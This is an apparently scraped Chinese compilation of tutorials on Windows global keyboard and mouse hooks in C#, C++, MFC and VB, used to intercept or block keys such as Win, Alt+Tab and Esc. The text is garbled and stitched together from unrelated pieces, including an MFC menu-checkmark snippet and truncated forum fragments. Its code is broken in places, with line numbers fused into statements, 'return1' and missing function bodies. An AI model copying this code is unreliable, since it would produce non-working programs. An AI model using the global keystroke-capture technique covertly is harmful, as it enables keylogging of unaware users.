VC++如何编写键盘钩子
C#简单鼠标键盘钩子KMHook

C#简单⿏标键盘钩⼦KMHook简介:由三个⽂件构成Pinvo.cs、KeyboardHook.cs、MouseHook.cs Pinvo.cs 是KeyboardHook与MouseHook需要的⼀些常量消息的定义 KeyboardHook 是实现的⼀个WH_KEYBOARD_LL类型的全局键盘钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) MouseHook 是实现的⼀个WH_MOUSE_LL类型的全局⿏标按键钩⼦(SetWindowsHookExA函数最后⼀个参数threadId=0) Pinvo1using System;2using System.Collections.Generic;3using System.Linq;4using System.Text;5using System.Threading.Tasks;67namespace KMHook8 {9public class HookType10 {11public const int WH_CALLWNDPROC = 4;12public const int WH_KEYBOARD_LL = 13;13public const int WH_MOUSE_LL = 14;14 }1516public class Messages17 {18public const int WM_MOUSEHOVER = 0x02A1;19public const int WM_MOUSELEAVE = 0x02A3;20public const int WM_DEVICECHANGE = 0x0219;21public const int WM_DDE_FIRST = 0x03E0;22public const int WM_BB_ENABLE = 0x00000001;23public const int WM_BB_BLURREGION = 0x00000002;24public const int WM_BB_TRANSITIONONMAXIMIZED = 0x00000004;25public const int WM_CLOAKED_APP = 0x00000001;26public const int WM_CLOAKED_SHELL = 0x00000002;27public const int WM_CLOAKED_INHERITED = 0x00000004;28public const int WM_TNP_RECTDESTINATION = 0x00000001;29public const int WM_TNP_RECTSOURCE = 0x00000002;30public const int WM_TNP_OPACITY = 0x00000004;31public const int WM_TNP_VISIBLE = 0x00000008;32public const int WM_TNP_SOURCECLIENTAREAONLY = 0x00000010;33public const int WM_SIT_DISPLAYFRAME = 0x00000001;34public const int WM_HELP = 0x0011;35public const int WM_IME_REPORT = 0x0280;36public const int WM_CONVERTREQUESTEX = 0x0109;37public const int WM_WNT_CONVERTREQUESTEX = 0x0109;38public const int WM_CONVERTREQUEST = 0x010A;39public const int WM_CONVERTRESULT = 0x010B;40public const int WM_INTERIM = 0x010C;41public const int WM_IMEKEYDOWN = 0x290;42public const int WM_IMEKEYUP = 0x291;43public const int WM_RASDIALEVENT = 0xCCCD;44public const int WM_CONTEXTMENU = 0x007B;45public const int WM_UNICHAR = 0x0109;46public const int WM_PRINTCLIENT = 0x0318;47public const int WM_NOTIFY = 0x004E;48public const int WM_HANDLED_MASK = 0x1;49public const int WM_TABLET_DEFBASE = 0x02C0;50public const int WM_TABLET_MAXOFFSET = 0x20;51public const int WM_NULL = 0x0000;52public const int WM_CREATE = 0x0001;53public const int WM_DESTROY = 0x0002;54public const int WM_MOVE = 0x0003;55public const int WM_SIZE = 0x0005;56public const int WM_ACTIVATE = 0x0006;57public const int WM_SETFOCUS = 0x0007;58public const int WM_KILLFOCUS = 0x0008;59public const int WM_ENABLE = 0x000A;60public const int WM_SETREDRAW = 0x000B;61public const int WM_SETTEXT = 0x000C;62public const int WM_GETTEXT = 0x000D;63public const int WM_GETTEXTLENGTH = 0x000E;64public const int WM_PAINT = 0x000F;65public const int WM_CLOSE = 0x0010;66public const int WM_QUERYENDSESSION = 0x0011;70public const int WM_ERASEBKGND = 0x0014;71public const int WM_SYSCOLORCHANGE = 0x0015;72public const int WM_SHOWWINDOW = 0x0018;73public const int WM_WININICHANGE = 0x001A;74public const int WM_DEVMODECHANGE = 0x001B;75public const int WM_ACTIVATEAPP = 0x001C;76public const int WM_FONTCHANGE = 0x001D;77public const int WM_TIMECHANGE = 0x001E;78public const int WM_CANCELMODE = 0x001F;79public const int WM_SETCURSOR = 0x0020;80public const int WM_MOUSEACTIVATE = 0x0021;81public const int WM_CHILDACTIVATE = 0x0022;82public const int WM_QUEUESYNC = 0x0023;83public const int WM_GETMINMAXINFO = 0x0024;84public const int WM_PAINTICON = 0x0026;85public const int WM_ICONERASEBKGND = 0x0027;86public const int WM_NEXTDLGCTL = 0x0028;87public const int WM_SPOOLERSTATUS = 0x002A;88public const int WM_DRAWITEM = 0x002B;89public const int WM_MEASUREITEM = 0x002C;90public const int WM_DELETEITEM = 0x002D;91public const int WM_VKEYTOITEM = 0x002E;92public const int WM_CHARTOITEM = 0x002F;93public const int WM_SETFONT = 0x0030;94public const int WM_GETFONT = 0x0031;95public const int WM_SETHOTKEY = 0x0032;96public const int WM_GETHOTKEY = 0x0033;97public const int WM_QUERYDRAGICON = 0x0037;98public const int WM_COMPAREITEM = 0x0039;99public const int WM_GETOBJECT = 0x003D;100public const int WM_COMPACTING = 0x0041;101public const int WM_COMMNOTIFY = 0x0044;102public const int WM_WINDOWPOSCHANGING = 0x0046;103public const int WM_WINDOWPOSCHANGED = 0x0047;104public const int WM_POWER = 0x0048;105public const int WM_COPYDATA = 0x004A;106public const int WM_CANCELJOURNAL = 0x004B;107public const int WM_INPUTLANGCHANGEREQUEST = 0x0050; 108public const int WM_INPUTLANGCHANGE = 0x0051;109public const int WM_TCARD = 0x0052;110public const int WM_USERCHANGED = 0x0054;111public const int WM_NOTIFYFORMAT = 0x0055;112public const int WM_STYLECHANGING = 0x007C;113public const int WM_STYLECHANGED = 0x007D;114public const int WM_DISPLAYCHANGE = 0x007E;115public const int WM_GETICON = 0x007F;116public const int WM_SETICON = 0x0080;117public const int WM_NCCREATE = 0x0081;118public const int WM_NCDESTROY = 0x0082;119public const int WM_NCCALCSIZE = 0x0083;120public const int WM_NCHITTEST = 0x0084;121public const int WM_NCPAINT = 0x0085;122public const int WM_NCACTIVATE = 0x0086;123public const int WM_GETDLGCODE = 0x0087;124public const int WM_SYNCPAINT = 0x0088;125public const int WM_NCMOUSEMOVE = 0x00A0;126public const int WM_NCLBUTTONDOWN = 0x00A1;127public const int WM_NCLBUTTONUP = 0x00A2;128public const int WM_NCLBUTTONDBLCLK = 0x00A3;129public const int WM_NCRBUTTONDOWN = 0x00A4;130public const int WM_NCRBUTTONUP = 0x00A5;131public const int WM_NCRBUTTONDBLCLK = 0x00A6;132public const int WM_NCMBUTTONDOWN = 0x00A7;133public const int WM_NCMBUTTONUP = 0x00A8;134public const int WM_NCMBUTTONDBLCLK = 0x00A9;135public const int WM_NCXBUTTONDOWN = 0x00AB;136public const int WM_NCXBUTTONUP = 0x00AC;137public const int WM_NCXBUTTONDBLCLK = 0x00AD;138public const int WM_INPUT_DEVICE_CHANGE = 0x00FE;139public const int WM_INPUT = 0x00FF;140public const int WM_KEYFIRST = 0x0100;141public const int WM_CHAR = 0x0102;142public const int WM_DEADCHAR = 0x0103;143public const int WM_SYSCHAR = 0x0106;144public const int WM_SYSDEADCHAR = 0x0107;145public const int WM_KEYLAST = 0x0109;146public const int WM_IME_STARTCOMPOSITION = 0x010D; 147public const int WM_IME_ENDCOMPOSITION = 0x010E;148public const int WM_IME_COMPOSITION = 0x010F;149public const int WM_IME_KEYLAST = 0x010F;150public const int WM_INITDIALOG = 0x0110;154public const int WM_HSCROLL = 0x0114;155public const int WM_VSCROLL = 0x0115;156public const int WM_INITMENU = 0x0116;157public const int WM_INITMENUPOPUP = 0x0117;158public const int WM_GESTURE = 0x0119;159public const int WM_GESTURENOTIFY = 0x011A;160public const int WM_MENUSELECT = 0x011F;161public const int WM_MENUCHAR = 0x0120;162public const int WM_ENTERIDLE = 0x0121;163public const int WM_MENURBUTTONUP = 0x0122;164public const int WM_MENUDRAG = 0x0123;165public const int WM_MENUGETOBJECT = 0x0124;166public const int WM_UNINITMENUPOPUP = 0x0125;167public const int WM_MENUCOMMAND = 0x0126;168public const int WM_CHANGEUISTATE = 0x0127;169public const int WM_UPDATEUISTATE = 0x0128;170public const int WM_QUERYUISTATE = 0x0129;171public const int WM_CTLCOLORMSGBOX = 0x0132;172public const int WM_CTLCOLOREDIT = 0x0133;173public const int WM_CTLCOLORLISTBOX = 0x0134;174public const int WM_CTLCOLORBTN = 0x0135;175public const int WM_CTLCOLORDLG = 0x0136;176public const int WM_CTLCOLORSCROLLBAR = 0x0137;177public const int WM_CTLCOLORSTATIC = 0x0138;178public const int WM_MOUSEFIRST = 0x0200;179//public const int WM_LBUTTONDBLCLK = 0x0203;180//public const int WM_RBUTTONDBLCLK = 0x0206;181//public const int WM_MBUTTONDBLCLK = 0x0209;182public const int WM_MOUSEWHEEL = 0x020A;183public const int WM_XBUTTONDOWN = 0x020B;184public const int WM_XBUTTONUP = 0x020C;185public const int WM_XBUTTONDBLCLK = 0x020D;186public const int WM_MOUSEHWHEEL = 0x020E;187public const int WM_MOUSELAST = 0x020E;188public const int WM_PARENTNOTIFY = 0x0210;189public const int WM_ENTERMENULOOP = 0x0211;190public const int WM_EXITMENULOOP = 0x0212;191public const int WM_NEXTMENU = 0x0213;192public const int WM_SIZING = 0x0214;193public const int WM_CAPTURECHANGED = 0x0215;194public const int WM_MOVING = 0x0216;195public const int WM_POWERBROADCAST = 0x0218;196public const int WM_MDICREATE = 0x0220;197public const int WM_MDIDESTROY = 0x0221;198public const int WM_MDIACTIVATE = 0x0222;199public const int WM_MDIRESTORE = 0x0223;200public const int WM_MDINEXT = 0x0224;201public const int WM_MDIMAXIMIZE = 0x0225;202public const int WM_MDITILE = 0x0226;203public const int WM_MDICASCADE = 0x0227;204public const int WM_MDIICONARRANGE = 0x0228;205public const int WM_MDIGETACTIVE = 0x0229;206public const int WM_MDISETMENU = 0x0230;207public const int WM_ENTERSIZEMOVE = 0x0231;208public const int WM_EXITSIZEMOVE = 0x0232;209public const int WM_DROPFILES = 0x0233;210public const int WM_MDIREFRESHMENU = 0x0234;211public const int WM_POINTERDEVICECHANGE = 0x238;212public const int WM_POINTERDEVICEINRANGE = 0x239;213public const int WM_POINTERDEVICEOUTOFRANGE = 0x23A; 214public const int WM_TOUCH = 0x0240;215public const int WM_NCPOINTERUPDATE = 0x0241;216public const int WM_NCPOINTERDOWN = 0x0242;217public const int WM_NCPOINTERUP = 0x0243;218public const int WM_POINTERUPDATE = 0x0245;219public const int WM_POINTERDOWN = 0x0246;220public const int WM_POINTERUP = 0x0247;221public const int WM_POINTERENTER = 0x0249;222public const int WM_POINTERLEAVE = 0x024A;223public const int WM_POINTERACTIVATE = 0x024B;224public const int WM_POINTERCAPTURECHANGED = 0x024C; 225public const int WM_TOUCHHITTESTING = 0x024D;226public const int WM_POINTERWHEEL = 0x024E;227public const int WM_POINTERHWHEEL = 0x024F;228public const int WM_POINTERROUTEDTO = 0x0251;229public const int WM_POINTERROUTEDAWAY = 0x0252;230public const int WM_POINTERROUTEDRELEASED = 0x0253; 231public const int WM_IME_SETCONTEXT = 0x0281;232public const int WM_IME_NOTIFY = 0x0282;233public const int WM_IME_CONTROL = 0x0283;234public const int WM_IME_COMPOSITIONFULL = 0x0284;237public const int WM_IME_REQUEST = 0x0288;238public const int WM_IME_KEYDOWN = 0x0290;239public const int WM_IME_KEYUP = 0x0291;240public const int WM_NCMOUSEHOVER = 0x02A0;241public const int WM_NCMOUSELEAVE = 0x02A2;242public const int WM_WTSSESSION_CHANGE = 0x02B1;243public const int WM_TABLET_FIRST = 0x02;244public const int WM_TABLET_LAST = 0x02;245public const int WM_DPICHANGED = 0x02E0;246public const int WM_DPICHANGED_BEFOREPARENT = 0x02E2;247public const int WM_DPICHANGED_AFTERPARENT = 0x02E3;248public const int WM_GETDPISCALEDSIZE = 0x02E4;249public const int WM_CUT = 0x0300;250public const int WM_COPY = 0x0301;251public const int WM_PASTE = 0x0302;252public const int WM_CLEAR = 0x0303;253public const int WM_UNDO = 0x0304;254public const int WM_RENDERFORMAT = 0x0305;255public const int WM_RENDERALLFORMATS = 0x0306;256public const int WM_DESTROYCLIPBOARD = 0x0307;257public const int WM_DRAWCLIPBOARD = 0x0308;258public const int WM_PAINTCLIPBOARD = 0x0309;259public const int WM_VSCROLLCLIPBOARD = 0x030A;260public const int WM_SIZECLIPBOARD = 0x030B;261public const int WM_ASKCBFORMATNAME = 0x030C;262public const int WM_CHANGECBCHAIN = 0x030D;263public const int WM_HSCROLLCLIPBOARD = 0x030E;264public const int WM_QUERYNEWPALETTE = 0x030F;265public const int WM_PALETTEISCHANGING = 0x0310;266public const int WM_PALETTECHANGED = 0x0311;267public const int WM_HOTKEY = 0x0312;268public const int WM_PRINT = 0x0317;269public const int WM_APPCOMMAND = 0x0319;270public const int WM_THEMECHANGED = 0x031A;271public const int WM_CLIPBOARDUPDATE = 0x031D;272public const int WM_DWMCOMPOSITIONCHANGED = 0x031E;273public const int WM_DWMNCRENDERINGCHANGED = 0x031F;274public const int WM_DWMCOLORIZATIONCOLORCHANGED = 0x0320; 275public const int WM_DWMWINDOWMAXIMIZEDCHANGE = 0x0321;276public const int WM_DWMSENDICONICTHUMBNAIL = 0x0323;277public const int WM_DWMSENDICONICLIVEPREVIEWBITMAP = 0x0326; 278public const int WM_GETTITLEBARINFOEX = 0x033F;279public const int WM_HANDHELDFIRST = 0x0358;280public const int WM_HANDHELDLAST = 0x035F;281public const int WM_AFXFIRST = 0x0360;282public const int WM_AFXLAST = 0x037F;283public const int WM_PENWINFIRST = 0x0380;284public const int WM_PENWINLAST = 0x038F;285public const int WM_APP = 0x8000;286public const int WM_USER = 0x0400;287public const int WM_CT_REPEAT_FIRST_FIELD = 0x10;288public const int WM_CT_BOTTOM_FIELD_FIRST = 0x20;289public const int WM_CT_TOP_FIELD_FIRST = 0x40;290public const int WM_CT_INTERLACED = 0x80;291public const int WM_MAX_VIDEO_STREAMS = 0x3;292public const int WM_MAX_STREAMS = 0x3;293294public const int WM_KEYDOWN = 0x100;295public const int WM_KEYUP = 0x101;296public const int WM_SYSKEYDOWN = 0x104;297public const int WM_SYSKEYUP = 0x105;298299public const int WM_MOUSEMOVE = 0x200;300public const int WM_LBUTTONDOWN = 0x201;301public const int WM_RBUTTONDOWN = 0x204;302public const int WM_MBUTTONDOWN = 0x207;303public const int WM_LBUTTONUP = 0x202;304public const int WM_RBUTTONUP = 0x205;305public const int WM_MBUTTONUP = 0x208;306public const int WM_LBUTTONDBLCLK = 0x203;307public const int WM_RBUTTONDBLCLK = 0x206;308public const int WM_MBUTTONDBLCLK = 0x209;309 }310 }KeyboardHookusing System;using System.Runtime.InteropServices;public class KeyboardHook : IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, KeyboardDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, KeyData lParam);[DllImport("user32.dll")]public static extern bool UnhookWindowsHookEx(int idHook);private int hookType = 0;private delegate int KeyboardDelegateHandler(int nCode, int wParam, KeyData lParam);public delegate bool KeyDelegate(KeyData keyData, int message);public delegate bool KeyUpUpDelegate(KeyData keyData);public delegate bool KeyDownDelegate(KeyData keyData);public event KeyDelegate keyEvent;public event KeyUpUpDelegate keyUpEvent;public event KeyUpUpDelegate keyDownEvent;public bool IsHooked{get{if (hookType != 0){return true;}return false;}}///<summary>/// vkCode 表⽰1到254间的虚拟键盘码/// scanCode 表⽰硬件扫描码///</summary>[StructLayout(LayoutKind.Sequential)]public class KeyData{public int vkCode;public int scanCode;public int flags;public int time;public int dwExtraInfo;}public void SetupHook(){hookType = SetWindowsHookExA(HookType.WH_KEYBOARD_LL, KMProc, IntPtr.Zero, 0);if (hookType == 0){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, KeyData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (keyEvent != null){shouldBlock = keyEvent.Invoke(lParam, wParam);}if (wParam == Messages.WM_KEYDOWN ||wParam == Messages.WM_SYSKEYDOWN){if (keyDownEvent != null){}if (wParam == Messages.WM_KEYUP ||wParam == Messages.WM_SYSKEYUP){if (keyUpEvent != null){shouldBlock = keyUpEvent.Invoke(lParam);}}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}MouseHookusing System;using System.Runtime.InteropServices;namespace KMHook{public class MouseHook: IDisposable{[DllImport("user32.dll")]private static extern int SetWindowsHookExA(int idHook, MouseDelegateHandler lpfn, IntPtr hInstance, int threadId); [DllImport("user32.dll")]private static extern bool UnhookWindowsHookEx(int idHook);[DllImport("user32.dll")]private static extern int CallNextHookEx(int idHook, int nCode, int wParam, MouseData lParam);private delegate int MouseDelegateHandler(int nCode, int wParam, MouseData lParam);public delegate bool MouseDelegate(MouseData pt, int message);public event MouseDelegate mouseEvent;private int hookType = 0;[StructLayout(LayoutKind.Sequential)]public class Point{public int x;public int y;}[StructLayout(LayoutKind.Sequential)]public class MouseData{public Point pt;public int hWnd;public int wHitTestCode;public int dwExtraInfo;}public bool IsHooked{get{if (hookType != 0){return true;}return false;}}public void SetupHook(){RemoveHook();}}private void RemoveHook(){bool retKeyboard = UnhookWindowsHookEx(hookType);if (retKeyboard){hookType = 0;}}private int KMProc(int nCode, int wParam, MouseData lParam){if (!(nCode >= 0)){return CallNextHookEx(hookType, nCode, wParam, lParam);}bool shouldBlock = false;if (mouseEvent != null){shouldBlock = mouseEvent.Invoke(lParam, wParam);}if (!shouldBlock){return CallNextHookEx(hookType, nCode, wParam, lParam);}return1;}public void Dispose(){RemoveHook();}}}代码使⽤情况KeyboardHook keyboardHook = new KeyboardHook();keyboardHook.keyEvent += (keyData, message) =>{if (message == Messages.WM_KEYDOWN || message == Messages.WM_SYSKEYDOWN) {if (keyData.vkCode == (int) Keys.A) Console.WriteLine("key a pressed.");if (keyData.vkCode == (int) Keys.F1) Console.WriteLine("f1 pressed.");if (keyData.vkCode == (int) Keys.Delete) Console.WriteLine("delete pressed.");if (keyData.vkCode == (int) Keys.LControlKey) Console.WriteLine("left control pressed."); }return true;};keyboardHook.SetupHook();。
C++技巧:用HOOK禁用鼠标与键盘点击

本文来自: 计算机等级论坛(/jsj/) 详细文章参考:/jsj/thread-2341-1-2.html
C++技巧:用HOOK禁用鼠标与键盘点击
HOOK, 鼠标, 技巧, 键盘
/首先定义
HWND g_hWnd; //定义一个窗口的句柄
HHOOK g_hMouse; //鼠标的钩子过程
HHOOK g_hKeyBoard; //键盘的钩子过程
/鼠标钩子过程的回调函数
LRESULT CALLBACK MouseProc( int nCode,
}
学习大VC++编程隐藏计算机中的鼠标Java下怎样屏蔽键盘和鼠标的操做通过并行机制处理鼠标和键盘鼠标一拖Vista用户文件夹全至其他分区计算机二级C技巧:VC6.0控制鼠标反方向移动C语言分析:用C语言写的鼠标驱动程序利用VisualC#编程模仿鼠标操做电脑鼠标常见毛病分析与维修技巧丢弃鼠标Windows常用五组快速键
//lParam右移29位,正好它的第二十九位在第一位上,
//得第二十九位表示了Alt键被按下
return 1;
*/
/使程序在F2键按下后退出/
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0); //发送关闭消息
UnhookWindowsHookEx(g_hKeyBoard);
UnhookWindowsHookEx(g_hMouse);//移除一个已经安装的hook
//当我们本人发送消息关闭程序时,一定要记得关闭Hook
VC菜单打勾的方法

注意:IDR_MENU1是菜单ID,ID_CONTROL_MUTE是需要被打勾的子菜单,加粗部分为核心部分// MFCTestDlg.h : 头文件//#pragma once// CMFCTestDlg 对话框class CMFCTestDlg : public CDialog{// 构造public:CMFCTestDlg(CWnd* pParent = NULL); // 标准构造函数// 对话框数据enum { IDD = IDD_MFCTEST_DIALOG };protected:virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支// 实现protected:HICON m_hIcon;// 生成的消息映射函数virtual BOOL OnInitDialog();afx_msg void OnSysCommand(UINT nID, LPARAM lParam);afx_msg void OnPaint();afx_msg HCURSOR OnQueryDragIcon();DECLARE_MESSAGE_MAP()/*****************新添加部分**********************/private:BOOL m_bMute;CMenu* pMainMenu;CMenu* pSubMenu;afx_msg void OnControlMute();/*****************end新添加部分**********************/};然后再到CMFCTestDlg.cpp文件里的OnInitDialog加上// CMFCTestDlg 消息处理程序BOOL CMFCTestDlg::OnInitDialog(){CDialog::OnInitDialog();// 将“关于...”菜单项添加到系统菜单中。
c 钩子函数

c 钩子函数
在C语言中,钩子函数(hook function)通常是指可以被其他程序或系统调用的回调函数。
它通常会注册到某个框架或库中,当特定事件发生时会被调用。
例如,在Windows操作系统中,可以使用钩子函数来拦截特定的消息、键盘输入、鼠标事件等,实现一些特殊的功能,比如监控用户行为、加强系统安全等。
在这种情况下,钩子函数需要注册到操作系统的钩子链中,等待事件发生时被调用。
在编写C语言程序时,可以自己实现钩子函数,将其注册到自己的程序某个模块中,等待触发特定事件时被调用。
例如,在一个计算器程序中,可以注册一个钩子函数在用户按下某个快捷键时自动执行某些计算操作。
总之,钩子函数是一种非常灵活的编程技术,可以让程序更加智能化、自适应化。
mfc 键盘hook例子

mfc 键盘hook例子全文共四篇示例,供读者参考第一篇示例:MFC是Microsoft Foundation Classes的缩写,是微软公司开发的一种面向对象的C++库。
它提供了许多对Windows编程常用的类和函数,方便开发人员编写Windows应用程序。
在MFC中,键盘hook是一种用于监控键盘消息的技术。
通过键盘hook,我们可以在程序运行时捕获、处理键盘输入,实现自定义的按键响应逻辑。
在本文中,我们将以一个简单的MFC键盘hook例子来演示如何实现键盘消息的拦截和处理。
通过这个例子,读者可以了解MFC中如何使用键盘hook,并学习如何在程序中对键盘消息进行相应的处理。
我们需要创建一个MFC应用程序。
在Visual Studio中新建一个MFC应用程序项目,选择“桌面应用程序(MFC)”模板,并按照向导设置好项目名称和路径。
在新建的MFC应用程序项目中,我们可以添加一个新的类来处理键盘hook。
右键单击项目名称,选择“添加”->“类”,在“添加类”对话框中选择“MFC类from General”模板,填写类的名称(比如CHookManager)并点击“添加”。
在CHookManager类中,我们需要实现键盘hook的安装和卸载函数。
在类的.h文件中定义以下成员变量和函数:```cppclass CHookManager{public:CHookManager();virtual ~CHookManager();在类的.cpp文件中实现这些函数:```cppBOOL g_bHookInstalled = FALSE;HHOOK g_hHook = NULL;CHookManager::CHookManager(){}LRESULT CALLBACK CHookManager::KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode >= 0){// 处理键盘消息KBDLLHOOKSTRUCT* pKbdStruct = (KBDLLHOOKSTRUCT*)lParam;if (pKbdStruct->vkCode == VK_ESCAPE){// 拦截ESC键return 1;}}return CallNextHookEx(g_hHook, nCode, wParam, lParam);}void CHookManager::InstallHook(){if (!g_bHookInstalled){g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);g_bHookInstalled = TRUE;}}在上面的代码中,我们定义了一个HHOOK类型的全局变量g_hHook和一个BOOL类型的全局变量g_bHookInstalled,用于存储键盘hook的句柄和安装状态。
VB2010VBNET源码 HOOK 键盘钩子

Case Else
'do nothing
End Select
End Sub
这只是简单的屏蔽了几个键,当然如果要屏蔽更多的键,只要在模块的LowLevelKeyboardProc函数中设置你想要拦截键盘键值过滤掉就可以了。
Call CopyMemory(p, ByVal lParam, Len(p))
If p.vkCode = VK_LWIN Or p.vkCode = VK_RWIN Then blnHook = True '按下了左/右Win键
If p.vkCode = VK_CONTROL Or p.vkCode = VK_ESCAPE Then blnHook = True '按下了Ctrl+Esc键
End Type
Private Const WM_KEYDOWN = &H100
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYUP e Const VK_LWIN = &H5B
End Function
Public Sub HooK()
lngHook = SetWindowsHookEx(WH_KEYBOARD_LL, _
AddressOf LowLevelKeyboardProc, _
App.hInstance, _
C++的键盘钩子

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。
而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。
钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。
这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。
可见,利用钩子可以实现许多特殊而有用的功能。
因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。
钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。
(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。
(3)外壳钩子可以监视各种Shell事件消息。
比如启动和关闭应用程序。
(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。
(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
此外,还有一些特定事件的钩子提供给我们使用,不一一列举。
下面描述常用的Hook类型:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET HooksWH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。
WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。
CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。
vc++HOOK详细讲解

vc++HOOK详细讲解消息钩子函数入门Windows 系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。
而钩子是Windows 系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。
钩子可以监视系统或进程中的各种事件消息,截获发往目标窗口的消息并进行处理。
这样,我们就可以在系统中安装自定义的钩子,监视系统中特定事件的发生,完成特定的功能,比如截获键盘、鼠标的输入,屏幕取词,日志监视等等。
可见,利用钩子可以实现许多特殊而有用的功能。
因此,对于高级编程人员来说,掌握钩子的编程方法是很有必要的。
钩子的类型一.按事件分类,有如下的几种常用类型(1)键盘钩子和低级键盘钩子可以监视各种键盘消息。
(2)鼠标钩子和低级鼠标钩子可以监视各种鼠标消息。
(3)外壳钩子可以监视各种Shell 事件消息。
比如启动和关闭应用程序。
(4)日志钩子可以记录从系统消息队列中取出的各种事件消息。
(5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。
此外,还有一些特定事件的钩子提供给我们使用,不一一列举。
下面描述常用的Hook 类型:1、WH_CALLWNDPROC 和WH_CALLWNDPROCRET Hooks WH_CALLWNDPROC 和WH_CALLWNDPROCRET Hooks 使你可以监视发送到窗口过程的消息。
系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook 子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPRO CRET Hook 子程。
WH_CALLWNDPROCRET Hook 传递指针到CWPRETSTRUCT 结构,再传递到Hook 子程。
CWPRETSTRUCT 结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。
2、WH_CBT Hook在以下事件之前,系统都会调用WH_CBT Hook子程,这些事件包括:1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;2. 完成系统指令;3. 来自系统消息队列中的移动鼠标,键盘事件;4. 设置输入焦点事件;5. 同步系统消息队列事件。
VC6.0下实现屏蔽键盘按键

+ Es o i ai n k y , o x mp e a e d s u s d i ea lo o o u e L c c mb n t e s f re a l , r i s e n d t i n h w t s OCAL HOOK n EMO o c a dR E T HOO t h ed K o s il t e Be a s e e k y r y t m- e e e p n e a o g a h y c n b lc e , a c iv y b t n s il . h m. c u e t s e sa e s se lv l s o s , sl n st e a e b o k d wec n a he e a u t h ed h r n o
行 ,这时误按 Wi n键或 A h+T 时会造成麻烦 。在工程测试 b a
时 ,有些 时候也需 要屏蔽部分按 键 ,以减 少误操 作 。然 而诸 如 Wi 、A n键 h+T 组合键 、A b a h+E c s 组合键 等 的按键 响应
属于系统级来
函数 。然后 以 Wi 、 t a n键 +T b组合键 、A h+Ec组合键以及 Cr +E c s t l s 组合键为例 ,详细讨论 了如何使 用本地钩 子和遥控钩子 两种方式对它们进行屏 蔽。由于这些按键 的响应属 于系统级 的,只要可 以进行屏蔽 ,则可以 实现屏 蔽
c#键盘钩子

c#键盘钩子C#键盘勾子(Hook)拦截器,屏蔽键盘活动钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。
当消息到达后,在目标窗口处理函数之前处理它。
钩子机制允许应用程序截获处理window消息或特定事件。
钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。
每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。
这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
运行机制1、钩子链表和钩子子程:每一个Hook都有一个与之相关联的指针列表,称之为钩子链表,由系统来维护。
这个列表的指针指向指定的,应用程序定义的,被Hook 子程调用的回调函数,也就是该钩子的各个处理子程。
当与指定的Ho ok类型关联的消息发生时,系统就把这个消息传递到Hook 子程。
一些Hook子程可以只监视消息,或者修改消息,或者停止消息的前进,避免这些消息传递到下一个Hook子程或者目的窗口。
最近安装的钩子放在链的开始,而最早安装的钩子放在最后,也就是后加入的先获得控制权。
Windows 并不要求钩子子程的卸载顺序一定得和安装顺序相反。
每当有一个钩子被卸载,Windows 便释放其占用的内存,并更新整个Ho ok链表。
如果程序安装了钩子,但是在尚未卸载钩子之前就结束了,那么系统会自动为它做卸载钩子的操作。
钩子子程是一个应用程序定义的回调函数(CALLBACK Function),不能定义成某个类的成员函数,只能定义为普通的C函数。
用以监视系统或某一特定类型的事件,这些事件可以是与某一特定线程关联的,也可以是系统中所有线程的事件。
